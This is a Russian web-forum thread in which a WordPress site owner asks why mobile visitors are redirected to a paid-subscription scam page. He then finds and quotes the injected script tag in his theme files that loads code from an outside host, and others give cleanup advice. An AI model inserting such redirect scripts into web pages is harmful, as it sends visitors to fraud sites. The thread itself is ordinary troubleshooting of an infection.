X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Непонятный вирус на сайта
duoseo
duoseo
Topic Starter сообщение 20.1.2013, 0:27; Ответить: duoseo
Сообщение #1


Старожил
******

Группа: Active User
Сообщений: 1960
Регистрация: 24.11.2009
Из: Россия
Поблагодарили: 1193 раза
Репутация:   216  


Есть проект, при открытии в браузере компьютера - никаких проблем, а вот пользователи с мобильных телефонов (соответственно через мобильные браузеры) видят вместо сайта подложку. Скриншот прикрепляю ниже. Кроме того, их реально перекидывает на чужой сайт mobklas.be, где по-русски объясняется, что браузер устарел и его необходимо обновить, при этом этот сайт находится в черном списке Касперского и является типичным платником с подписками.

Пациент (сайт czlife . ru) на Вордпрессе, в главной папке проверил все файлы - изменений внесенных не мной - нет. Последнее время новых плагинов не ставил, шаблон стоит уже 2 года, проблема возникла недавно.

Подскажите, где смотреть и что лечить?

Скриншот:

0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
arturios
arturios
сообщение 20.1.2013, 0:32; Ответить: arturios
Сообщение #2


JavaSE
******

Группа: Super Moderator
Сообщений: 1803
Регистрация: 16.10.2012
Из: Москва
Поблагодарили: 1295 раз
Репутация:   78  


Аналогичная проблемма была на dle при входе на мобильную версию сайта
Пробовали востановить сайт с последнего бэкапа?
У меня был вирус какой то в картинки которую я грузанул на сайт(((

Сообщение отредактировал arturios - 20.1.2013, 0:33


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
denum
denum
сообщение 20.1.2013, 0:36; Ответить: denum
Сообщение #3


Частый гость
**

Группа: User
Сообщений: 72
Регистрация: 15.8.2011
Поблагодарили: 21 раз
Репутация:   3  


.htaccess проверьте. тема ни раз поднималась в темах данной ветки форума. осмотритесь, найдёте много дельных советов.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
duoseo
duoseo
Topic Starter сообщение 20.1.2013, 0:36; Ответить: duoseo
Сообщение #4


Старожил
******

Группа: Active User
Сообщений: 1960
Регистрация: 24.11.2009
Из: Россия
Поблагодарили: 1193 раза
Репутация:   216  


Стоило только огласить проблему, как нашел ее решение.

В файлы шаблона, кто-то (не я) каким-то образом добавил подгрузку скрипта

<script type="text/javascript" src="http://deny.systemhttp.com/r.php?l=http://deny.systemhttp.com/go.php?sid=1"></script>


Проблема решилась простым удалением этой строчки из кода. Остается вопрос, как эта строчка смогла там оказаться, возможно тоже загрузилась вместе с каким-то моим фалом через админку - буду выяснять, но в любом случае, на данный момент мой вопрос снимается.

Тему можно закрывать, спасибо.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
R1cho
R1cho
сообщение 20.1.2013, 0:38; Ответить: R1cho
Сообщение #5


Частый гость
**

Группа: User
Сообщений: 93
Регистрация: 7.1.2013
Из: Москва
Поблагодарили: 8 раз
Репутация:   -5  


duoseo, и мне помог mellow.gif


--------------------
Хочу представить заработок в интернете!
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
devvver
devvver
сообщение 20.1.2013, 0:47; Ответить: devvver
Сообщение #6


Завсегдатай
*****

Группа: Active User
Сообщений: 726
Регистрация: 18.8.2010
Из: Херсон, Украина
Поблагодарили: 344 раза
Репутация:   84  


(duoseo @ 19.1.2013, 23:36) *
Проблема решилась простым удалением этой строчки из кода. Остается вопрос, как эта строчка смогла там оказаться, возможно тоже загрузилась вместе с каким-то моим фалом через админку - буду выяснять, но в любом случае, на данный момент мой вопрос снимается.

Ищите шелл в DLE , он 100% есть. Далее меняйте все пароли и ищите дыру в DLE
http://devvver.ru/seo/borba-s-virusami-na-...donosnogo-koda/


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Чем сжимать картинки для сайта без потери качества
1st-finstep.ru - Заработок в сети и методы продвижения сайта
13 komarik_vlad 1345 Вчера, 12:29
автор: monson
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыНе повлияет ли на позиции сайта?
Если убрать контент
12 maxg5 1317 14.12.2017, 21:11
автор: alexandrrr
Горячая тема (нет новых ответов) Качественный копирайт и наполнение Вашего сайта
Подходи, торопись, покупай живо...
307 DroBit 86336 14.12.2017, 19:03
автор: Fox
Открытая тема (нет новых ответов) Тренд сайта по сравнению с аналогами, новый параметр в Яндекс Вебмастере
7 0alex1 1494 14.12.2017, 14:03
автор: coremission
Горячая тема (нет новых ответов) Регистрация Вашего сайта (профиля,DLE сайты,подписи на форумах,постинг Тиц 10> , ПР 1>)
278 kaartes 102785 14.12.2017, 10:55
автор: kukla


 



RSS Текстовая версия Сейчас: 16.12.2017, 9:53
Дизайн